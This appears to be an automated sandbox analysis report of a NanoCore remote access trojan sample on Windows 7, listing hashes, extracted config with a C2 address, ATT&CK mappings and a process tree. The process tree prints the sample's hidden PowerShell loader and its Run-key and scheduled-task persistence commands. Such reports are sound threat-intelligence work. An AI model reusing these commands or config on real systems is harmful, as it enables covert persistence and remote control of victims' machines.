Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    17-05-2024 20:22

General

  • Target

    2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe

  • Size

    383KB

  • MD5

    2b0539ba691f98b1c255d082d7589570

  • SHA1

    f228a998f9a2c0b1979e92f416603341d16ea86b

  • SHA256

    01084cac1b32ed96f39659685faaf1f37cfaee0d204a361c3759c3ff0aa38389

  • SHA512

    72965d8434a758a544b2868d26fb7b4ec708c285d0effd199c560393d703e7ce163757a67237ec61433498d6b883228388c8669e0c5e92dee4bfea0aded71617

  • SSDEEP

    6144:7auq7YTzYh5LofcnWgHMMPl410Ngz7NlaUnQWNquQ0op6wRIIZZ2Mog:gYE5UfGWgVPl4aNgzBoUnQYiEIZvD

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

184.75.223.235:4532

Mutex

2a3b374a-79d4-414e-b18c-11618e6c445b

Attributes
  • activate_away_mode

    true

  • backup_connection_host

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2024-02-23T12:22:51.547079836Z

  • bypass_user_account_control

    false

  • bypass_user_account_control_data

    PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    4532

  • default_group

    Default

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    2a3b374a-79d4-414e-b18c-11618e6c445b

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    184.75.223.235

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    false

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\2b0539ba691f98b1c255d082d7589570_NeikiAnalytics.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Afspadserede225=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr';$Novelettish=$Afspadserede225.SubString(53200,3);.$Novelettish($Afspadserede225)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:356
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe"
          3⤵
          • Adds Run key to start application
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremfrings" /t REG_EXPAND_SZ /d "%Taletiden% -windowstyle minimized $Typecasts=(Get-ItemProperty -Path 'HKCU:\Crepidoma\').Fozinesses;%Taletiden% ($Typecasts)"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2152
            • C:\Windows\SysWOW64\reg.exe
              REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fremfrings" /t REG_EXPAND_SZ /d "%Taletiden% -windowstyle minimized $Typecasts=(Get-ItemProperty -Path 'HKCU:\Crepidoma\').Fozinesses;%Taletiden% ($Typecasts)"
              5⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:768
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks.exe" /create /f /tn "NTFS Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\tmp99A3.tmp"
            4⤵
            • Creates scheduled task(s)
            PID:1100
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks.exe" /create /f /tn "NTFS Monitor Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp9A20.tmp"
            4⤵
            • Creates scheduled task(s)
            PID:2296

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Scheduled Task/Job

    1
    T1053

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Elverhj\Forskrivende.Udr
      Filesize

      51KB

      MD5

      6b3ce49e30626debe4ebc638e79bfbc1

      SHA1

      f0941c7b2694735091249b1676e4ba7693e6ede9

      SHA256

      bebd427c3ece459de5fc091d4573f313ba55bf68bdad2dbaf9f8ec5637b4990e

      SHA512

      d1bd3fb17897cba3fa4e9bde3b7bc7b73c88edb72cb47bc439b866c45f77ae85d01c6d9941ebc574ef660c33395b804a441bf9cef370b0c5dedbd3a1ac604e5d

    • C:\Users\Admin\AppData\Local\Temp\Mediatrices238\udkikstaarnene\deflationer\Milieugifts.Koa
      Filesize

      341KB

      MD5

      c1db703a47e0df7927aed1ab569b7ba7

      SHA1

      9b13decd58b8c434974ec24141b29e07ad008297

      SHA256

      7956dcaf28392b383184aec8e81c6c2f0b8d6c12fb889360c1a8f51a85912fb5

      SHA512

      b920cb5d9663eb3372a2c112b439dd83deb438d432b61bec63e697ae66d2131f169d18592e9e8c5213ee3f591bad8fa1b724915cd4f01d0d45c79070ae6d7977

    • C:\Users\Admin\AppData\Local\Temp\tmp99A3.tmp
      Filesize

      1KB

      MD5

      5ccc18c3f1852b87de26278cba055c13

      SHA1

      9233db8c004ac3e1b34c0782bac706a17bdc43ae

      SHA256

      7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432

      SHA512

      1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7

    • C:\Users\Admin\AppData\Local\Temp\tmp9A20.tmp
      Filesize

      1KB

      MD5

      981e126601526eaa5b0ad45c496c4465

      SHA1

      d610d6a21a8420cc73fcd3e54ddae75a5897b28b

      SHA256

      11ae277dfa39e7038b782ca6557339e7fe88533fe83705c356a1500a1402d527

      SHA512

      a59fb704d931ccb7e1ec1a7b98e24ccd8708be529066c6de4b673098cdebef539f7f50d9e051c43954b5a8e7f810862b3a4ede170f131e080dadc3e763ed4bdb

    • memory/1648-11-0x0000000074200000-0x00000000747AB000-memory.dmp
      Filesize

      5.7MB

    • memory/1648-10-0x0000000074200000-0x00000000747AB000-memory.dmp
      Filesize

      5.7MB

    • memory/1648-9-0x0000000074201000-0x0000000074202000-memory.dmp
      Filesize

      4KB

    • memory/1648-17-0x0000000006790000-0x000000000B171000-memory.dmp
      Filesize

      73.9MB

    • memory/1648-18-0x0000000074200000-0x00000000747AB000-memory.dmp
      Filesize

      5.7MB

    • memory/1648-12-0x0000000074200000-0x00000000747AB000-memory.dmp
      Filesize

      5.7MB

    • memory/1648-13-0x0000000074200000-0x00000000747AB000-memory.dmp
      Filesize

      5.7MB

    • memory/2068-19-0x0000000000660000-0x00000000016C2000-memory.dmp
      Filesize

      16.4MB

    • memory/2068-42-0x0000000000660000-0x00000000016C2000-memory.dmp
      Filesize

      16.4MB

    • memory/2068-44-0x0000000000660000-0x000000000069A000-memory.dmp
      Filesize

      232KB

    • memory/2068-52-0x00000000215C0000-0x00000000215CA000-memory.dmp
      Filesize

      40KB